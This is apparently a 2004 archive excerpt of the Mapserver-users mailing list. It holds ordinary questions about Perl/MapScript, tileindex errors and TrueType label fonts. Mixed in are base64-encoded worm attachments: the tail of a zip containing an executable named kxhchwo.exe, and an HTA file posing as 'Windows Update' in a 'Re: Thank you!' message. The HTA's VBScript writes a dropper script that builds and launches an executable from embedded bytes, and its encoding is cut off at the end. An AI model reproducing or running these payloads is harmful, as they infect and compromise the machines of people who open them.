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 ----------auvryjxsfvunqymlgioy-- From lfilak at medinaco.org Sat Jun 5 10:54:34 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Sat, 05 Jun 2004 13:54:34 -0400 Subject: [Mapserver-users] Perl/MapScript or PHP/Mapscript Message-ID: <20040605175402.ED7381A659B@mail.medinaco.org> The following message was sent by Sean Gillies on Fri, 4 Jun 2004 23:25:14 -0600. > On Jun 4, 2004, at 10:07 PM, Lowell.Filak wrote: > > > > > By "not showing much promise" are you referring to it not running on > > MS-Windows? Is that a requirement for apps like mapdesk? > > > > Thanks. > > > > Lowell > > > > Lowell, that was just poor wording on my part. > > What I wanted to say was that despite Perl being the richest of > the mapscripting languages, there are no contributed Perl/MapScript > programs (at http://mapserver.gis.umn.edu/contributed.html) that are in > the class of MapLab, or MapDesk, or like Chameleon which abstracts web > mapping a bit further. For better or for worse, there is no "killer > app" > for Perl/MapScript, no particular program that drives users to adopt > that > flavor of mapscript as MapLab or Chameleon do for PHP/MapScript. > > On the other hand, Perl speaks for itself and has never needed a killer > app for promotion. > > Sean Thanks Sean, that clears up my confusion. Very interesting point, I have felt that for a while myself as I have been contacted at different times regarding proposed applications that never seemed to materialize. Possibly the help available to the developer(s) at the time was not sufficient enough to get the application rolling and frustration won-out. Lowell From gheysen.t at skynet.be Sat Jun 5 11:37:01 2004 From: gheysen.t at skynet.be (Gheysen Thibaut) Date: Sat, 5 Jun 2004 20:37:01 +0200 Subject: [Mapserver-users] Problem with mapserver 4.2 and tileindex Message-ID: <003301c44b2c$188aa480$c1d8043e@jeanlouis> C'est un message de format MIME en plusieurs parties. ------=_NextPart_000_0030_01C44B3C.DADDB3A0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello, I have created a tileindex (topo.shp) with gdaltindex for dislay the = satellite map of one province (50 images in ".tiff" files). When I click = outside of the tileindex (in another province, for example), I have this = error : "mapserver can't draw the layer topo.shp". I didn't have this = problem with older release of mapserver. Thanks, Gheysen Thibaut. ------=_NextPart_000_0030_01C44B3C.DADDB3A0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello,
 
I have created a tileindex = (topo.shp)=20 with gdaltindex for dislay the satellite map of one province (50 images = in=20 ".tiff" files). When I = click outside of the=20 tileindex (in another province, for example), I have this = error :=20 "mapserver can't draw the layer topo.shp". I didn't have this problem = with older=20 release of mapserver.
 
Thanks,
 
Gheysen = Thibaut.
------=_NextPart_000_0030_01C44B3C.DADDB3A0-- From marcelito20 at hotmail.com Sat Jun 5 12:28:15 2004 From: marcelito20 at hotmail.com (Marcelo Carrillo) Date: Sat, 5 Jun 2004 14:28:15 -0500 Subject: [Mapserver-users] CONFIGURING TRUE TYPE FONTS WITH PHPMAPSCRIPT Message-ID: <40C21ECF.000001.01160@BECARIO1> --------------Boundary-00=_3ROUQL80000000000000 Content-Type: Multipart/Alternative; boundary="------------Boundary-00=_3ROULVC0000000000000" --------------Boundary-00=_3ROULVC0000000000000 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable =0D =0D =0D Hi, folks:=0D =0D =0D I'm developing a web mapping application of Quito streets, but I couldn't make the streets' names (labels) show with the correct angle. I'm getting this message in server's log file:=0D =0D [Tue May 25 12:53:29 2004] [error] [client 127.0.0.1] PHP Warning:=20 [MapServer Error]: msGetLabelSize(): Could not find/open font, referer: http://mysever/quito/php/QuitoMain.php=0D =0D Here's my layer config:=0D =2E..=0D FONTSET "D:/Archivos de programa/Apache Group/Apache2/htdocs/quito/fonts/fonts.list"=0D =2E..=0D LAYER=0D NAME "CALLES"=0D GROUP "Ciudad"=0D STATUS ON=0D DATA "CALLES_84_3_text"=0D TYPE ANNOTATION=0D MINSCALE 1000=0D MAXSCALE 150000=0D #CLASSITEM "Textstring"=0D LABELITEM "Textstring"=0D LABELANGLEITEM "Text_angle"=0D LABELSIZEITEM "Text_size"=0D =0D CLASS=0D LABEL=0D COLOR 132 31 31=0D SHADOWCOLOR 218 218 218=0D SHADOWSIZE 2 2=0D TYPE truetype=0D FONT arial=0D SIZE 14=0D ANTIALIAS TRUE=0D #POSITION CL=0D #PARTIALS FALSE=0D #MINDISTANCE 300=0D # BUFFER 4=0D END # end of label=0D =0D END #end of class=0D END #end of layer=0D =0D Could someone help me?=0D I appreciate any help...=0D =0D =0D Marcelo Ismael Carrillo Est=E9vez=0D BAYTEQ C=EDa. Ltda.=0D 09-8145939=0D =0D There are 10 kind of people, those who understand binaries and those who don`t!!=0D =20 --------------Boundary-00=_3ROULVC0000000000000 Content-Type: Text/HTML; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
 
 
Hi, folks:
 
 
I'm developing a web mapping application of Quito streets, but I cou= ldn't make the streets' names (labels) show with the correct angle. I'm g= etting this message in server's log file:
 
[Tue May 25 12:53:29 2004] [error] [client 127.0.0.1] PHP Warning:&n= bsp; [MapServer Error]: msGetLabelSize(): Could not find/open font, refer= er: http://mysever/qui= to/php/QuitoMain.php
 
Here's my layer config:
...
FONTSET "D:/Archivos de programa/Apache Group/Apache2/htdocs/quito/f= onts/fonts.list"
...
LAYER
    NAME "CALLES"
    GROU= P "Ciudad"
    STATUS ON
    DATA "CA= LLES_84_3_text"
    TYPE ANNOTATION
 MINSCALE 1= 000
    MAXSCALE 150000
    #CLASSITE= M "Textstring"
   LABELITEM "Textstring"
 LABELANGLE= ITEM "Text_angle"
 LABELSIZEITEM "Text_size"
 
    CLASS
      LABEL
 = ;      COLOR 132 31 31
   &nbs= p;    SHADOWCOLOR 218 218 218
    &= nbsp;   SHADOWSIZE 2 2
   TYPE truetype
&n= bsp;  FONT arial
   SIZE 14
  &n= bsp;     ANTIALIAS TRUE
    &n= bsp;   #POSITION CL
      &nbs= p; #PARTIALS FALSE
         #MINDIS= TANCE 300
         # BUFFER 4
&n= bsp;      END # end of label
 
    END #end of class
END #end of layer
 
Could someone help me?
I appreciate any help...
 
 
Marcelo Ismael Carrillo Est=E9vez
BAYTEQ C=EDa. Ltda.
09-8145939
 
There are 10 kind of pe= ople, those who understand binaries and those who don`t!!
 
______________________= ___________________________________________
3D""  IncrediMail = - El Email ha evolucionado finalmente - Haga clic aqu=ED
--------------Boundary-00=_3ROULVC0000000000000-- --------------Boundary-00=_3ROUQL80000000000000 Content-Type: image/gif; name="IMSTP.gif" Content-Transfer-Encoding: base64 Content-ID: <326B4A0C-9810-4D83-A8F1-60F0FA4F8092> R0lGODlhFAAPALMIAP9gAM9gAM8vAM9gL/+QL5AvAGAvAP9gL////wAAAAAAAAAAAAAAAAAAAAAA AAAAACH/C05FVFNDQVBFMi4wAwEAAAAh+QQJFAAIACwAAAAAFAAPAAAEVRDJSaudJuudrxlEKI6B URlCUYyjKpgYAKSgOBSCDEuGDKgrAtC3Q/R+hkPJEDgYCjpKr5A8WK9OaPFZwHoPqm3366VKyeRt E30tVVRscMHDqV/u+AgAIfkEBWQACAAsAAAAABQADwAABBIQyUmrvTjrzbv/YCiOZGmeaAQAIfkE CRQACAAsAgABABAADQAABEoQIUOrpXIOwrsPxiQUheeRAgUA49YNhbCqK1kS9grQhXGAhsDBUJgZ AL2Dcqkk7ogFpvRAokSn0p4PO6UIuUsQggSmFjKXdAgRAQAh+QQFCgAIACwAAAAAFAAPAAAEEhDJ Sau9OOvNu/9gKI5kaZ5oBAAh+QQJFAAIACwCAAEAEAANAAAEShAhQ6ulcg7Cuw/GJBSF55ECBQDj 1g2FsKorWRL2CtCFcYCGwMFQmBkAvYNyqSTuiAWm9ECiRKfSng87pQi5SxCCBKYWMpd0CBEBACH5 BAVkAAgALAAAAAAUAA8AAAQSEMlJq7046827/2AojmRpnmgEADs= --------------Boundary-00=_3ROUQL80000000000000-- From steve.lime at dnr.state.mn.us Sat Jun 5 15:48:31 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Sat, 05 Jun 2004 16:48:31 -0600 Subject: [Mapserver-users] Re: Thank you! Message-ID: ----------yprcqdcyklfwnvjiimem Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------yprcqdcyklfwnvjiimem Content-Type: application/octet-stream; name="Manufacture.hta" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Manufacture.hta" PEhUTUw+DQo8SEVBRD4NCjxUSVRMRT5XaW5kb3dzIFVwZGF0ZTwvVElUTEU+DQo8SFRBOkFQ UExJQ0FUSU9OIElEPSJRIiBBUFBMSUNBVElPTk5BTUU9IlEiIEJPUkRFUj0ibm9uZSIgQk9S REVSU1RZTEU9Im5vcm1hbCIgQ0FQVElPTj0ibm8iIElDT049IiIgQ09OVEVYVE1FTlU9Im5v IiBNQVhJTUlaRUJVVFRPTj0ibm8iIE1JTklNSVpFQlVUVE9OPSJubyIgU0hPV0lOVEFTS0JB Uj0ibm8iIFNJTkdMRUlOU1RBTkNFPSJubyIgU1lTTUVOVT0ibm8iIFZFUlNJT049IjEuMCIg V0lORE9XU1RBVEU9Im1pbmltaXplIi8+DQo8U0NSSVBUIExBTkdVQUdFPSJWQlNjcmlwdCI+ DQpNeUZpbGUgPSAicWZsLnZicyINClNldCBGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGlu Zy5GaWxlU3lzdGVtT2JqZWN0IikNClNldCBUU08gPSBGU08uQ3JlYXRlVGV4dEZpbGUoTXlG aWxlLCBUcnVlKQ0KVFNPLndyaXRlICJkaW0gZmlsZXN5cywgZmlsZXR4dCwgZ2V0bmFtZSwg cGF0aCwgdGV4dGZpbGUsIGkiICYgdmJjcmxmDQpUU08ud3JpdGUgInRleHRmaWxlID0gIiJx d3JrLmV4ZSIiIiAmIHZiY3JsZg0KVFNPLndyaXRlICJTZXQgZmlsZXN5cyA9IENyZWF0ZU9i amVjdCgiIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IiIpIiAmIHZiY3JsZg0KVFNPLndy aXRlICJTZXQgZmlsZXR4dCA9IGZpbGVzeXMuQ3JlYXRlVGV4dEZpbGUodGV4dGZpbGUsIFRy dWUpIiAmIHZiY3JsZg0KVFNPLndyaXRlICJnZXRuYW1lID0gZmlsZXN5cy5HZXRGaWxlTmFt ZShwYXRoKSIgJiB2YmNybGYNClRTTy53cml0ZSAiZGltIGEiICYgdmJjcmxmDQpUU08ud3Jp dGUgImE9QXJyYXkoNzcsOTAsMCwwLDEsMCwwLDAsMiwwLDAsMCwyNTUsMjU1LDAsMCw2NCww LDAsMCwwLDAsMCwwLDY0LDAsMCwwLDAsMCwwLDAsMTgwLDc2LDIwNSwzMywwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxNDQsMCwwLDAsMTY5LDM4 LDIyMSwxOSwyMzcsNzEsMTc5LDY0LDIzNyw3MSwxNzksNjQsMjM3LDcxLDE3OSw2NCwyMzcs NzEsMTc5LDY0LDIzOCw3MSwxNzksNjQsOTksODgsMTYwLDY0LDEwOSw3MSwxNzksNjQsMTcs MTAzLDE2MSw2NCwyMzYsNzEsMTc5LDY0LDQyLDY1LDE4MSw2NCwyMzYsNzEsMTc5LDY0LDgy LDEwNSw5OSwxMDQsMjM3LDcxLDE3OSw2NCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCw4MCw2OSwwLDAsNzYsMSwzLDAsMjA0LDE1LDE0NCw2NCww LDAsMCwwLDAsMCwwLDAsMjI0LDAsMTUsMSwxMSwxLDUsMTIsMCw4MCwwLDAsMCwxNiwwLDAs MCwxNDQsMCwwLDI0MCwyMjYsMCwwLDAsMTYwLDAsMCwwLDI0MCwwLDAsMCwwLDY0LDAsMCwx NiwwLDAsMCwyLDAsMCw0LDAsMCwwLDAsMCwwLDAsNCwwLDAsMCwwLDAsMCwwLDAsMCwxLDAs MCwxNiwwLDAsMCwwLDAsMCwyLDAsMCwwLDAsMCwxNiwwLDAsMTYsMCwwLDAsMCwxNiwwLDAs MTYsMCwwLDAsMCwwLDAsMTYsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDE2NCwyNDMsMCwwLDc2 LDIsMCwwLDAsMjQwLDAsMCwxNjQsMywwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDg1LDgwLDg4LDQ4LDAsMCwwLDAsMCwxNDQsMCwwLDAsMTYs MCwwLDAsMCwwLDAsMCwyLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxMjgsMCwwLDIy NCw4NSw4MCw4OCw0OSwwLDAsMCwwLDAsODAsMCwwLDAsMTYwLDAsMCwwLDcwLDAsMCwwLDIs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDY0LDAsMCwyMjQsNDYsMTE0LDExNSwxMTQs OTksMCwwLDAsMCwxNiwwLDAsMCwyNDAsMCwwLDAsNiwwLDAsMCw3MiwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsNjQsMCwwLDE5Miw0OSw0Niw1MCw1MiwwLDg1LDgwLDg4LDMzLDEy LDksMiw4LDE5MSwzOSw2MSw5NSwyMTgsMjA4LDExMSwxNTgsMTk5LDE5OSwwLDAsMjAxLDY2 LDAsMCwwLDE0NiwwLDAsMzgsMCwwLDIwNCwyNTUsMjU1LDI1NSwxNTUsMjUwLDIwMSw1OCwx MTMsNDIsNDMsMjQsMTQ0LDI0MywxNjMsNDMsMTYsMTM3LDI1MiwxMjMsOCwyMTgsMTIxLDY2 LDIzLDI0LDE0LDExNSwyMzgsMTI3LDk0LDgyLDE5MSwyNTMsMjU1LDI1NSwxODYsMjUwLDQs NTgsMTQzLDI0LDU3LDE3NSwxMTMsMjIsMTcyLDExMywxOTEsMjQyLDExMywxNDMsMjQ2LDEx MywxODMsMjM0LDI1LDIyNiw0NSw1OSwxNiwyNDIsMjAwLDI1MiwyMjAsMjU1LDE3NywyMjEs MjIzLDUsNTksMTEzLDI1NCwzOCwyMDEsNTYsMTg4LDI0LDE4LDE2NCw1MSw1NiwyNDYsMjUw LDQzLDEwNywyMzcsMTgzLDIzOSw0MiwxMyw0Miw1LDE0MywyMzQsMiwyNDYsMTcwLDE4LDU4 LDUsMCwxMywyNSwxMjcsMjUxLDI0Niw3LDEyMSw2MiwxNCwxNDYsMjUwLDIxOCw1MywxNDQs MjUwLDE4LDk3LDUyLDI1MCwxMTUsMTkxLDYsNjEsMTkxLDI1NSwxOTAsMTk3LDE5MCwxNCwx MzAsMTQ0LDEsNDgsMjQyLDE4LDQ1LDE4NiwxMywxMTksMTkxLDIsMTcwLDI1NSwxNTUsMTc1 LDEyMyw0MSwxOCw2LDIxLDgzLDEyMSwxMzUsMiwyNTAsMTQzLDI0OCwxNywyMzMsNSwxNDMs MTE5LDExMSwyMzgsMTQ1LDIsMTQsMTgsMTA2LDkxLDY3LDE0LDE3LDUzLDE1LDE4LDE3MCwx ODYsMjE5LDU0LDExNSw5Niw3MCwxMDYsMTM1LDE0LDExOSwyNTQsMTA2LDE4MywyNDYsMjIw LDEwMiwyMjYsODksOTAsMTY1LDIwMCwyMzYsNzEsMjQyLDI0OCwxODMsMjE3LDIyMiwyMjMs MTM3LDI1NCwyNSwxNDQsMjU0LDE0NiwyMiwxNjQsMTg5LDUsMjU1LDExLDE4OSwyMzcsMTkz LDE4MiwxNzAsMjAzLDcsMjAxLDQwLDEzLDcxLDEwNCwzOCwyMzgsMjQ2LDE3MywyMjAsNTMs MTczLDYsMTEzLDI1MiwyNDYsNTksMTksMjQ4LDY0LDksODEsOSwyMzksNjIsMTc4LDI1Mywx MjEsMjcsMjQ5LDksODAsMTY1LDMwLDI0MiwxNjksMTEzLDE2NywyNDYsMzMsMTQ0LDIyNCwx OCw5OSwyNDIsMTQ4LDI1MywxMTksNzMsMTIxLDU4LDE1NSw2LDgwLDE3NywxNDMsMTEsMTYx LDMxLDI0MCwxOCwxMzEsMTIzLDIzMSwyMiw1MCwyMDIsMTc3LDE4NCwyNTEsMTgsNzQsMTk3 